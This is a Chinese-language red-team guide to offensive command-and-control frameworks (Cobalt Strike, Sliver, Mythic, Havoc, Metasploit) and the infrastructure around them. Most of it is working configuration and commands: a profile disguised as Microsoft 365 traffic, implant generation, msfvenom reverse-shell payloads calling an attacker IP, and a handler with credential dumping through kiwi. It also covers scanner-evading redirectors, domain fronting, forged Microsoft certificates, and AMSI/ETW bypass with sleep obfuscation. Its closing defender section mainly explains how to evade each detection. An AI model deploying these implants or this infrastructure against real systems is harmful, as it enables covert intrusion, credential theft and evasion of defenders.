offensive-c2-frameworks

攻防 C2 框架

命令与控制是任何持续性红队行动的支柱。你的 C2 框架负责管理植入程序通信、任务分发、后利用和横向移动协调。选择并配置合适的框架——并在其外围搭建适当的基础设施——决定了你的行动能否撑过最初的 48 小时，还是在初始访问后的几分钟内就暴露。

本技能介绍专业红队行动中常见的主要 C2 框架、如何配置它们以确保操作安全、保护后端服务器的基础设施模式，以及区分易被检测与具备韧性的行动的实战决策。你不仅需要了解如何部署这些工具，还需要理解特定配置选择为何会影响应对现代 EDR 和网络监控的效果。

快速工作流

1. 明确行动的网络限制——确认允许的出站协议、代理要求和监控情况。
2. 根据目标环境的限制，选择主要 C2 框架和传输方式。
3. 在植入程序与团队服务器之间搭建重定向器基础设施——切勿直接暴露团队服务器。
4. 配置通信配置文件，模拟目标组织的合法流量模式。
5. 生成植入程序，并设置合适的休眠间隔、抖动和失效日期。
6. 使用不同的传输方式和基础设施，建立主要和备用 C2 通道。
7. 在将 C2 流量部署到生产目标之前，先检查其是否触发检测特征。

---

Cobalt Strike

Cobalt Strike 仍是部署最广泛的商业 C2 框架。它的优势在于可变配置 C2 配置文件、灵活的 Beacon 和成熟的后利用工具包。你可以通过自定义配置文件、管理休眠行为和执行 BOF 来实现隐蔽性。

可变配置 C2 配置文件

可变配置文件定义 Beacon 的通信方式——包括 HTTP 标头、URI 路径、数据编码和 TLS 参数。精心设计的配置文件可以模拟某个特定的合法应用程序。

# Example malleable profile -- mimicking Microsoft 365 traffic
set sleeptime "60000";
set jitter    "37";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0";
set data_jitter "50";

https-certificate {
    set C   "US";
    set ST  "Washington";
    set L   "Redmond";
    set O   "Microsoft Corporation";
    set OU  "Microsoft IT";
    set CN  "outlook.office365.com";
    set validity "365";
}

http-get {
    set uri "/owa/auth/logon.aspx /autodiscover/autodiscover.xml";

    client {
        header "Accept" "text/html,application/xhtml+xml";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Connection" "keep-alive";

        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Server" "Microsoft-IIS/10.0";
        header "X-Powered-By" "ASP.NET";

        output {
            base64;
            prepend "<!DOCTYPE html><html><head></head><body>";
            append "</body></html>";
            print;
        }
    }
}

http-post {
    set uri "/owa/service.svc";
    set verb "POST";

    client {
        header "Content-Type" "application/json; charset=utf-8";

        id {
            base64url;
            prepend "token=";
            header "Cookie";
        }

        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            base64;
            print;
        }
    }
}

Beacon 类型与枢轴转发

# Beacon types and their use cases:
# HTTP/HTTPS Beacon  -- standard egress, most flexible
# DNS Beacon         -- low-bandwidth, high-stealth for restrictive networks
# SMB Beacon         -- named pipe, for internal pivoting (no egress needed)
# TCP Beacon         -- bind/reverse TCP for internal pivoting

# Generate payloads via Cobalt Strike GUI or aggressor scripts
# Stageless is preferred for OPSEC -- avoids the staging handshake

# Named pipe pivoting: link internal hosts through SMB Beacons
# On pivot host with HTTPS Beacon:
#   beacon> link 10.10.10.50 \\.\pipe\msagent_89
# The SMB Beacon on 10.10.10.50 communicates through the pivot host

# Sleep and jitter configuration in Beacon
#   beacon> sleep 300 45
#   Sets 300-second sleep with 45% jitter (sleep varies 165-435 seconds)
#   High sleep + high jitter = harder to detect via beaconing analysis

Beacon 对象文件（BOF）

BOF 可直接在 Beacon 的内存中执行编译后的 C 代码，无需启动新进程——这对规避基于进程的检测至关重要。

/* example_bof.c -- inline whoami without spawning a child process */
#include <windows.h>
#include "beacon.h"

void go(char *args, int alen) {
    DWORD bufSize = 256;
    char username[256];
    char domain[256];

    WINBASEAPI BOOL WINAPI KERNEL32$GetUserNameA(LPSTR, LPDWORD);
    WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);

    if (ADVAPI32$GetUserNameA(username, &bufSize)) {
        BeaconPrintf(CALLBACK_OUTPUT, "Username: %s", username);
    }
}

# Compile and load BOF
# x86_64-w64-mingw32-gcc -c example_bof.c -o example_bof.o
# beacon> inline-execute example_bof.o

# Key BOF repositories for red teams:
#   - trustedsec/CS-Situational-Awareness-BOF (user/network enumeration)
#   - anthemtotheego/InlineWhispers (syscall-based BOFs)
#   - rvrsh3ll/BOF_Collection (mixed utility BOFs)

---

Sliver

Sliver 是一个开源 C2 框架，原生支持 mTLS、WireGuard、HTTP(S) 和 DNS 传输。它支持多人协作操作，允许多名操作员共用一台团队服务器。

植入程序生成

# Start Sliver server
./sliver-server

# Generate implants with different transports

# mTLS implant -- encrypted, mutual authentication
sliver > generate --mtls 10.10.14.5 --os windows --arch amd64 \
    --name FINANCE-WS --skip-symbols --disable-sgn

# WireGuard implant -- encapsulated in WireGuard tunnel
sliver > generate --wg 10.10.14.5:53 --os windows --arch amd64 \
    --name FINANCE-WG --skip-symbols

# DNS implant -- for highly restrictive networks
sliver > generate --dns c2.example.com --os windows --arch amd64 \
    --name FINANCE-DNS --skip-symbols

# HTTP(S) implant with custom parameters
sliver > generate --http https://cdn.example.com --os windows --arch amd64 \
    --name FINANCE-HTTPS --skip-symbols \
    --seconds 60 --jitter 30

# Start matching listeners
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > wg --lport 53
sliver > dns --domains c2.example.com
sliver > https --domain cdn.example.com --lport 443

多人协作操作与 Armory

# Multiplayer: generate operator configs for team members
sliver > new-operator --name operator1 --lhost teamserver.internal
# Distribute the resulting .cfg file to operators

# Armory: install community extensions
sliver > armory install rubeus
sliver > armory install seatbelt
sliver > armory install sharp-hound-4

# Use extensions in a session
sliver (FINANCE-WS) > rubeus kerberoast
sliver (FINANCE-WS) > seatbelt -- -group=all

# Pivoting through Sliver
sliver (FINANCE-WS) > portfwd add --bind 127.0.0.1:9050 --remote 172.16.0.10:445
sliver (FINANCE-WS) > socks5 start

---

Mythic

Mythic 是一个模块化 C2 平台，提供基于 Web 的界面，以及用于 Agent、C2 配置文件和转换容器的插件架构。你可以根据目标操作系统和能力需求选择 Agent。

Agent 选择与部署

# Install Mythic
git clone https://github.com/its-a-feature/Mythic.git
cd Mythic
./mythic-cli install github https://github.com/MythicAgents/apollo
./mythic-cli install github https://github.com/MythicAgents/poseidon
./mythic-cli install github https://github.com/MythicAgents/medusa
./mythic-cli install github https://github.com/MythicC2Profiles/http

# Start Mythic
./mythic-cli start

# Agent capabilities:
# Apollo    -- Windows C# agent, inline .NET assembly, token manipulation
# Poseidon  -- macOS/Linux Go agent, SSH spawning, keylogging
# Medusa    -- Python agent, cross-platform, extensible

C2 配置文件配置

{
    "name": "http_profile",
    "is_p2p": false,
    "parameters": [
        {
            "name": "callback_host",
            "value": "https://cdn-static.example.com"
        },
        {
            "name": "callback_port",
            "value": 443
        },
        {
            "name": "callback_interval",
            "value": 60
        },
        {
            "name": "callback_jitter",
            "value": 37
        },
        {
            "name": "headers",
            "value": {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
                "Accept": "text/html,application/xhtml+xml",
                "Host": "cdn-static.example.com"
            }
        },
        {
            "name": "get_uri",
            "value": "/api/v1/content"
        },
        {
            "name": "post_uri",
            "value": "/api/v1/telemetry"
        }
    ]
}

---

Havoc

Havoc 是一个现代 C2 框架，其 Demon Agent 具备高级规避能力，包括休眠混淆、间接系统调用，以及基于硬件断点的 AMSI/ETW 绕过。

Demon Agent 配置

# Havoc teamserver configuration -- havoc.yaotl
Teamserver:
  Host: "0.0.0.0"
  Port: 40056
  Build:
    Compiler64: "/usr/bin/x86_64-w64-mingw32-gcc"
    Nasm: "/usr/bin/nasm"

Operators:
  - Name: "operator1"
    Password: "Sup3rS3cure!"

Listeners:
  - Name: "HTTPS-Primary"
    Protocol: "Https"
    Host: "10.10.14.5"
    Port: 443
    Secure: true
    Uris:
      - "/api/v2/session"
      - "/api/v2/health"
      - "/api/v2/telemetry"
    Headers:
      - "Content-Type: application/json"
      - "Server: nginx/1.24.0"
      - "X-Request-Id: "

休眠混淆与规避

# Demon sleep obfuscation techniques:
# Ekko   -- timer-queue based, encrypts Beacon in memory during sleep
# Zilean -- similar approach using undocumented APIs
# Foliage -- APC-based sleep obfuscation

# Demon agent generation options:
# - Indirect syscalls: bypass user-mode hooks by resolving syscall numbers dynamically
# - Sleep mask: encrypt agent memory during sleep to evade memory scanners
# - Stack spoofing: manipulate return addresses to hide call origin
# - AMSI/ETW patching: hardware breakpoints avoid in-memory patching detection

# In the Havoc UI:
# Payload > Generate > Demon
#   Sleep Technique: Ekko
#   Indirect Syscalls: Enabled
#   Sleep Mask: Enabled
#   AMSI/ETW Bypass: Hardware Breakpoints
#   Sleep: 60
#   Jitter: 40

---

Metasploit 框架

Metasploit 仍是生成载荷、利用漏洞进行初始访问，以及在无法使用商业工具的环境中不可或缺的工具。你可以使用 msfvenom 生成载荷，并使用 multi/handler 接收回连。

使用 msfvenom 生成载荷

# Staged vs Stageless:
# Staged (windows/meterpreter/reverse_https) -- small initial payload, downloads stage
# Stageless (windows/meterpreter_reverse_https) -- full payload, no staging handshake

# Windows stageless HTTPS Meterpreter
msfvenom -p windows/x64/meterpreter_reverse_https \
    LHOST=10.10.14.5 LPORT=443 \
    HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
    StagerVerifySSLCert=true \
    HandlerSSLCert=/opt/certs/c2.pem \
    -f exe -o payload.exe

# C# shellcode for custom loaders
msfvenom -p windows/x64/meterpreter_reverse_https \
    LHOST=10.10.14.5 LPORT=443 \
    -f csharp -o shellcode.cs

# Linux ELF payload
msfvenom -p linux/x64/meterpreter_reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f elf -o payload.elf

# macOS Mach-O payload
msfvenom -p osx/x64/meterpreter_reverse_tcp \
    LHOST=10.10.14.5 LPORT=4444 \
    -f macho -o payload.macho

Multi/Handler 配置

# Resource script: handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_https
set LHOST 0.0.0.0
set LPORT 443
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
set HandlerSSLCert /opt/certs/c2.pem
set StagerVerifySSLCert true
set SessionCommunicationTimeout 600
set ExitOnSession false
set EnableStageEncoding true
set AutoRunScript "post/windows/manage/migrate"
run -j

# Launch with resource script
# msfconsole -r handler.rc

# Post-exploitation essentials in Meterpreter
# meterpreter> getuid
# meterpreter> sysinfo
# meterpreter> migrate -N explorer.exe
# meterpreter> load kiwi
# meterpreter> creds_all
# meterpreter> portfwd add -l 9050 -p 445 -r 172.16.0.10
# meterpreter> run post/multi/manage/autoroute
# meterpreter> background
# msf6> use auxiliary/server/socks_proxy
# msf6> run

---

重定向器基础设施

切勿将团队服务器直接暴露给目标网络。重定向器位于植入程序与 C2 服务器之间，可吸收扫描流量，并提供可丢弃的前端基础设施。

Apache mod_rewrite 重定向器

# /etc/apache2/sites-enabled/redirector.conf
# Redirect valid C2 traffic to team server, send everything else to a decoy

<VirtualHost *:443>
    ServerName cdn-static.example.com
    SSLEngine on
    SSLCertificateFile /etc/letsencrypt/live/cdn-static.example.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/cdn-static.example.com/privkey.pem

    RewriteEngine On

    # Block common scanners and researchers
    RewriteCond %{HTTP_USER_AGENT} (curl|wget|python|scanner|nikto|nmap) [NC]
    RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]

    # Require correct URI paths matching your C2 profile
    RewriteCond %{REQUEST_URI} ^/owa/auth/logon\.aspx$ [OR]
    RewriteCond %{REQUEST_URI} ^/owa/service\.svc$ [OR]
    RewriteCond %{REQUEST_URI} ^/autodiscover/autodiscover\.xml$
    RewriteRule ^.*$ https://teamserver.internal:443%{REQUEST_URI} [P,L]

    # Everything else goes to a legitimate-looking decoy
    RewriteRule ^.*$ https://www.microsoft.com/ [L,R=302]

    ProxyPassReverse / https://teamserver.internal:443/
</VirtualHost>

CDN 前置与域名借用

# Domain fronting: use a CDN where the Host header routes to your backend
# The outer TLS SNI shows a legitimate domain; the inner Host header reaches your C2

# Example with a CDN:
# 1. Register your backend with the CDN (e.g., cdn-12345.example-cdn.net)
# 2. In your C2 profile, set Host header to your CDN endpoint
# 3. Implants connect to a high-reputation CDN IP
# 4. Network monitors see traffic to the CDN, not your server

# Malleable profile snippet for CDN fronting
http-get {
    set uri "/content/static/js/app.js";
    client {
        header "Host" "your-tenant.cdn-provider.net";
        header "Accept" "*/*";
    }
}

# Domain borrowing: use an abandoned or unmonitored subdomain
# on a trusted domain that points to infrastructure you control
# Requires finding dangling CNAME or A records

---

基于 DNS 的 C2

DNS C2 通过 53 端口运行，通常能绕过防火墙限制。代价是带宽较低——DNS 通道速度慢，但更具韧性。

# DNS C2 infrastructure setup
# 1. Register a domain: c2ops.example.com
# 2. Create NS records pointing a subdomain to your team server
#    dns.c2ops.example.com  NS  ns1.c2ops.example.com
#    ns1.c2ops.example.com  A   <team-server-ip>

# 3. Configure Cobalt Strike DNS listener
#    Listeners > Add > Beacon DNS
#    DNS Hosts: dns.c2ops.example.com
#    DNS Port (Bind): 53

# 4. Sliver DNS listener
# sliver > dns --domains dns.c2ops.example.com --lport 53

# Verify DNS resolution reaches your server
dig A test.dns.c2ops.example.com @8.8.8.8
# If your team server receives the query, DNS C2 will function

# DNS over HTTPS (DoH) for the implant's DNS resolution
# prevents local DNS logging while maintaining DNS-based C2 transport

---

证书管理

C2 基础设施上的 TLS 证书会影响 OPSEC 和植入程序的信任验证。

# Let's Encrypt for legitimate-looking certificates
certbot certonly --standalone -d cdn-static.example.com \
    --agree-tos --email [email protected]

# Self-signed with matching metadata for internal redirectors
openssl req -x509 -newkey rsa:4096 -sha256 -days 365 \
    -keyout c2.key -out c2.crt -nodes \
    -subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=outlook.office365.com" \
    -addext "subjectAltName=DNS:outlook.office365.com,DNS:*.office365.com"

# PKCS12 bundle for Cobalt Strike
openssl pkcs12 -export -in c2.crt -inkey c2.key -out c2.p12 \
    -name "outlook.office365.com" -passout pass:changeit

# Import into Cobalt Strike keystore
keytool -importkeystore -srckeystore c2.p12 -srcstoretype PKCS12 \
    -destkeystore c2.store -deststoretype JKS \
    -srcstorepass changeit -deststorepass changeit

# Certificate pinning in implants prevents MitM from security appliances
# Cobalt Strike: set trust_x509_c2 in malleable profile
# Sliver: mTLS provides mutual authentication by default

---

检测 / 防御者视角

网络防御人员和威胁猎手会从多个层面针对 C2：

• JA3/JA3S 指纹识别：TLS 客户端和服务器 Hello 指纹可用于识别 C2 框架。Cobalt Strike 默认的 Java TLS 协议栈具有独特的 JA3 哈希值。缓解措施：使用自定义 TLS 协议栈或通过 CDN 前置来沿用 CDN 的 JA3S。
• Beacon 分析：即使加入抖动，定期回调也会产生统计模式。网络检测工具（Rita、Zeek）会对连接元数据进行频率分析。缓解措施：使用高抖动（40% 以上）、可变休眠时间，并仅进行交互式回调。
• HTTP 配置文件特征：默认的可变配置文件已有公开的特征标记。防御者会从威胁情报中共享的配置文件配置里提取指标。缓解措施：构建自定义配置文件，避免使用公开模板，并使用 c2lint 对照已知特征集进行验证。
• DNS 隧道检测：对单个域名发起大量查询，且子域标签熵值较高，表明可能存在 DNS C2。缓解措施：限制 DNS 回调频率，使用较短标签，并与合法的域名解析混合。
• 内存扫描：EDR Agent 会扫描进程内存，查找已知 C2 框架字符串、反射式加载器存根和 Shellcode 模式。缓解措施：使用休眠混淆、内存加密，以及通过 fork-and-run 运行 BOF。
• 证书异常：自签名证书、元数据与域名不匹配的证书或有效期较短的证书都会触发警报。缓解措施：通过 Let's Encrypt 使用合法 CA 签发的证书。
• 命名管道监控：Sysmon EventID 17/18 会记录命名管道的创建和连接，从而暴露 SMB Beacon 横向转移。缓解措施：使用仿冒合法 Windows 服务的管道名称。

---

演练速查表

框架	主要传输方式	隐蔽功能	最佳使用场景	MITRE ID
Cobalt Strike	HTTPS/DNS/SMB	可变配置文件、BOF	全范围红队演练	T1071.001
Sliver	mTLS/WireGuard/DNS	多人协作、军械库	CS 的开源替代方案	T1573.002
Mythic	HTTP(S)	模块化 Agent/配置文件	自定义 Agent 需求	T1071.001
Havoc	HTTPS	Ekko 休眠、间接系统调用	EDR 部署密集的环境	T1573.001
Metasploit	HTTPS/TCP	丰富的模块库	初始访问、CTF、实验室工作	T1071.001

基础设施	用途	关键配置
Apache 重定向器	从扫描器中过滤 C2	与配置文件匹配的 mod_rewrite 规则
CDN 前置	将 C2 隐藏在可信域名之后	将 Host 标头路由到后端
DNS C2	绕过防火墙限制	将 NS 委派给团队服务器
TLS 证书	避免基于证书的警报	使用 Let's Encrypt 或匹配元数据的证书

---

关键参考资料

• MITRE ATT&CK T1071 - 应用层协议：https://attack.mitre.org/techniques/T1071/
• MITRE ATT&CK T1573 - 加密通道：https://attack.mitre.org/techniques/T1573/
• MITRE ATT&CK T1090 - 代理：https://attack.mitre.org/techniques/T1090/
• Cobalt Strike 文档：https://hstechdocs.helpsystems.com/manuals/cobaltstrike/
• Sliver C2 Wiki：https://github.com/BishopFox/sliver/wiki
• Mythic 文档：https://docs.mythic-c2.net/
• Havoc 框架：https://github.com/HavocFramework/Havoc
• Metasploit 框架：https://docs.metasploit.com/
• 红队基础设施 Wiki：https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
• 可塑性 C2 配置文件合集：https://github.com/threatexpress/malleable-c2
• RITA（真实情报威胁分析）：https://github.com/activecm/rita